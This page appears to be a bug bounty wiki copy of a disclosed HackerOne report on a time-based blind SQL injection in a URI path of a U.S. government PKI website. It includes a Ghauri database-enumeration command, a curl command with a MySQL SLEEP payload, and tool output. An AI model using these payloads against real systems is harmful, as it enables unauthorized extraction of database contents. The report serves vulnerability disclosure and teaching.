Skip to content
SQL injection Disclosed report Intermediate

SQL Injection in URI Path Leading to Full Database Disclosure on ████████

A time-based blind SQL injection was found in the URI path of the /home/server-ocsp/ endpoint on a public key infrastructure website. An unauthenticated attacker could use it to extract database metadata and potentially all underlying data.

0x0sadat Follow

Originally disclosed on HackerOne

  • Triaged in 12 hours
  • Fixed in 6 days
  • Disclosed after 6 months

Description: A time-based blind SQL injection vulnerability was discovered on the U.S. Government Public Key Infrastructure website (█████████). The injection point exists in the URI path of the /home/server-ocsp/ endpoint.

This vulnerability allows an unauthenticated attacker to interact with the backend MySQL database and extract sensitive information such as the current database name, available tables, columns, and potentially all underlying data.

Vulnerable Endpoint: █████████*

Impact

  • Attacker can extract all database metadata and data.
  • Sensitive information exposure: user data, credentials, configs.
  • Possible full compromise of backend data integrity.

System Host(s)

█████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Ghauri Command:

ghauri -u "█████*" \
--technique=T --dbms mysql --time-sec=6 --batch --random-agent --dbs

Manual Curl Time-Based Test: You can test the delay manually by measuring response time difference using curl and time:

time curl -s -o /dev/null "████████'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z/"

Proof of Concept Output (From Ghauri):


---
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: ██████████'XOR(SELECT(0)FROM(SELECT(SLEEP(6)))a)XOR'Z
---
[05:02:53] [INFO] testing MySQL
[05:02:53] [INFO] confirming MySQL
[05:02:53] [INFO] the back-end DBMS is MySQL
[05:02:53] [INFO] fetching current database
[05:03:16] [WARNING] ("it appears that the character '>' and 'BETWEEN' operator is filtered by the back-end server. ghauri will based data retrieval on IN() operator",)
[05:04:40] [INFO] retrieved: 'de'
current database: 'de'

POC: Video Added ██████

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by 0x0sadat. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, user-controlled input from the URI path was concatenated into a MySQL query without proper parameterisation or validation.

Impact

An unauthenticated attacker could extract all database metadata and data, including sensitive information such as user data, credentials and configuration, and possibly fully compromise backend data integrity.

What the attacker needed

No authentication required; network access to the endpoint

How it was found

  1. Send a crafted request to the vulnerable URI path with a time-based SQL injection payload.
  2. Use a tool such as Ghauri with time-based technique and MySQL DBMS to confirm the injection.
  3. Measure the response delay manually with curl and time to verify the time-based behaviour.
  4. Use the tool to enumerate the current database name.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The website took part of the web address and put it directly into a database command without cleaning it. By adding special characters, an attacker can make the database pause for a set time, and by measuring that pause they can slowly ask yes/no questions to read data. This is called blind SQL injection because the attacker never sees the database output directly.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.